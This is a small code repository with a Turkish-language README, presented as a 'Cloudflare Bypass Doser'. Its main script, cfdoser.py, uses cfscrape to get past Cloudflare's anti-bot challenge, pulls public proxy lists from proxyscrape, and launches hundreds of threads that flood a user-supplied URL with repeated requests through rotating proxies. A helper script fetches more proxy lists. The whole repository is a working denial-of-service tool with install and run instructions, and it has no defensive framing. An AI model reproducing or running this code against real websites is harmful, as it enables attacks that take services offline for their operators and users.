├── README.md
├── cfdoser.py
└── listgetter.py
/README.md:
--------------------------------------------------------------------------------
1 | Cloudflare Bypass Doser
2 |
3 | http://ak74security.org
4 |
5 | #Kurulum
6 |
7 |
sudo apt-get install python3
8 |
9 | pip3 install requests colorama cfscrape
10 |
11 | #Kullanim
12 |python3 cfdoser.py
13 |
14 |
--------------------------------------------------------------------------------
/cfdoser.py:
--------------------------------------------------------------------------------
1 | import cfscrape
2 | import os
3 | import random
4 | import time
5 | import requests
6 | import threading
7 | from colorama import Fore
8 | print(Fore.YELLOW + """
9 | ____ _____ ______ ______ _ ____ ____
10 | / ___| ___| | __ ) \ / / _ \ / \ / ___/ ___|
11 | | | | |_ | _ \\ V /| |_) / _ \ \___ \___ \ \r
12 | | |___| _| | |_) || | | __/ ___ \ ___) |__) |
13 | \____|_| |____/ |_| |_| /_/ \_\____/____/
14 | """)
15 | print("Coded By GogoZin Developed By Atakbey - 2020")
16 | print("visit website ak74security.org")
17 |
18 | def opth():
19 | for a in range(thr):
20 | x = threading.Thread(target=atk)
21 | x.start()
22 | print("Threads " + str(a+1) + " Created ")
23 | print(Fore.RED + "Wait A Few Seconds For Threads Ready To Attack ...")
24 | time.sleep(10)
25 | input(Fore.CYAN + "Saldiriyi Baslatmak icin Enter tusuna basin!")
26 | global oo
27 | oo = True
28 |
29 | oo = False
30 | def main():
31 | global url
32 | global list
33 | global pprr
34 | global thr
35 | global per
36 | url = str(input(Fore.GREEN + "Url : " + Fore.WHITE))
37 | ssl = str(input(Fore.GREEN + "Site SSL kullaniyormu ? (y/n) : " + Fore.WHITE))
38 | ge = str(input(Fore.GREEN + "Yeni Proxy Listesi Al ? (y/n) : " + Fore.WHITE))
39 | if ge =='y':
40 | if ssl == 'y':
41 | rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=yes&timeout=2000') #Code By GogoZin
42 | with open('proxy.txt','wb') as fp:
43 | fp.write(rsp.content)
44 | print(Fore.CYAN + "Https proxy basarili bir sekilde alindi!")
45 | else:
46 | rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=all&timeout=1000') #Code By GogoZin
47 | with open('proxy.txt','wb') as fp:
48 | fp.write(rsp.content)
49 | print(Fore.CYAN + "Http proxy basarili bir sekilde alindi!")
50 | else:
51 | pass
52 | list = str(input(Fore.GREEN + "Liste (proxy.txt) : " + Fore.WHITE))
53 | pprr = open(list).readlines()
54 | print(Fore.GREEN + "Proxies Count : " + Fore.WHITE + "%d" %len(pprr))
55 | thr = int(input(Fore.GREEN + "Threads (1-400 Default Is 300) : " + Fore.WHITE))
56 | per = int(input(Fore.GREEN + "CC.Power (1-100 Default Is 70) : " + Fore.WHITE))
57 | opth()
58 |
59 | def atk():
60 | pprr = open(list).readlines()
61 | proxy = random.choice(pprr).strip().split(":")
62 | s = cfscrape.create_scraper()
63 | s.proxies = {}
64 | s.proxies['http'] = 'http://'+str(proxy[0])+":"+str(proxy[1])
65 | s.proxies['https'] = 'https://'+str(proxy[0])+":"+str(proxy[1])
66 | time.sleep(5)
67 | while True:
68 | while oo:
69 | try:
70 | s.get(url)
71 | print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+ Fore.CYAN + " From~# " +Fore.WHITE+ str(proxy[0])+":"+str(proxy[1]))
72 | try:
73 | for g in range(per):
74 | s.get(url)
75 | print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+Fore.CYAN + " From~# " +Fore.WHITE + str(proxy[0])+":"+str(proxy[1])) #code By GogoZin
76 | s.close()
77 | except:
78 | s.close()
79 | except:
80 | s.close()
81 | print(Fore.RED + "Proxy veya URL'ye Baglanilamiyor !")
82 |
83 |
84 | if __name__ == "__main__":
85 | main()
86 |
--------------------------------------------------------------------------------
/listgetter.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | print("Bu Dosya Proxy'leri Almaniza Yardimci Olacak")
4 | print('\r\n')
5 |
6 |
7 | type = str(input("Type ( socks4 / socks5 / proxy ) : "))
8 | cty = str(input("Country (EX : TW / CN / US / all ) : "))
9 | anon = str(input("anonymity ( anonymous / elite / all ) : "))
10 | to = str(input("Timeout : "))
11 | sl = str(input("SSL Mode ( yes / no / all ) : "))
12 | file = str(input("File Name (EX : proxies.txt / socks4.txt / socks5.txt ) : "))
13 | rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype='+str(type)+'&country='+str(cty)+'&anonymity='+str(anon)+'&ssl='+str(sl)+'&timeout='+str(to))
14 | with open(str(file),'wb') as fp:
15 | fp.write(rsp.content)
16 |
--------------------------------------------------------------------------------